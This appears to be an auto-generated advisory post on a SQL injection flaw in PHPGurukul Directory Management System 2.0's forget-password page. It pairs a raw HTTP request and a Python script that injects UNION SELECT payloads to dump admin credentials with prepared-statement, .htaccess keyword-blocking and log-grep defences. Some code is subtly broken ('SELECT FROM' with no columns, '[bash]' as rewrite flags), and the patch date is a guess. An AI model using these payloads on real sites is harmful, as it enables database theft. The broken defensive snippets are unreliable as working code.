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The CVE-2025-4698 vulnerability in PHPGurukul Directory Management System 2.0 allows remote attackers to execute arbitrary SQL queries via the `email` parameter in /admin/forget-password.php. The flaw occurs due to improper sanitization of user-supplied input before concatenating it into SQL statements. Attackers can exploit this by injecting malicious SQL payloads through the email field, potentially bypassing authentication, extracting sensitive database information, or executing administrative operations. The vulnerability is remotely exploitable without authentication, making it critical.
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Platform: PHPGurukul Directory Management
Version: 2.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/28/2025
Prediction: Patch expected by 06/15/2025
What Undercode Say:
Exploitation
POST /admin/forget-password.php HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded email=' OR 1=1--
import requests
target = "http://target.com/admin/forget-password.php"
payload = {"email": "' UNION SELECT 1,2,3,4,concat(username,':',password),6 FROM admin--"}
response = requests.post(target, data=payload)
print(response.text)
Protection
// Sanitize input with prepared statements
$stmt = $conn->prepare("SELECT FROM users WHERE email = ?");
$stmt->bind_param("s", $_POST['email']);
.htaccess mitigation
RewriteCond %{QUERY_STRING} (union|select|insert|update|delete|drop) [bash]
RewriteRule ^ - [bash]
Analytics
- Attack Vector: Remote (HTTP)
- Exploit Complexity: Low
- Privilege Escalation: Possible
- Data Exposure: Database credentials, PII
Detection
grep -r "mysql_query.\$_POST" /var/www/html
-- Log monitoring SELECT FROM apache_logs WHERE request LIKE "%forget-password.php%email=%";
Mitigation
1. Update to patched version post-06/15/2025
2. Implement WAF rules blocking SQLi patterns
3. Disable `/admin/forget-password.php` if unused
References
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Reported By: nvd.nist.gov
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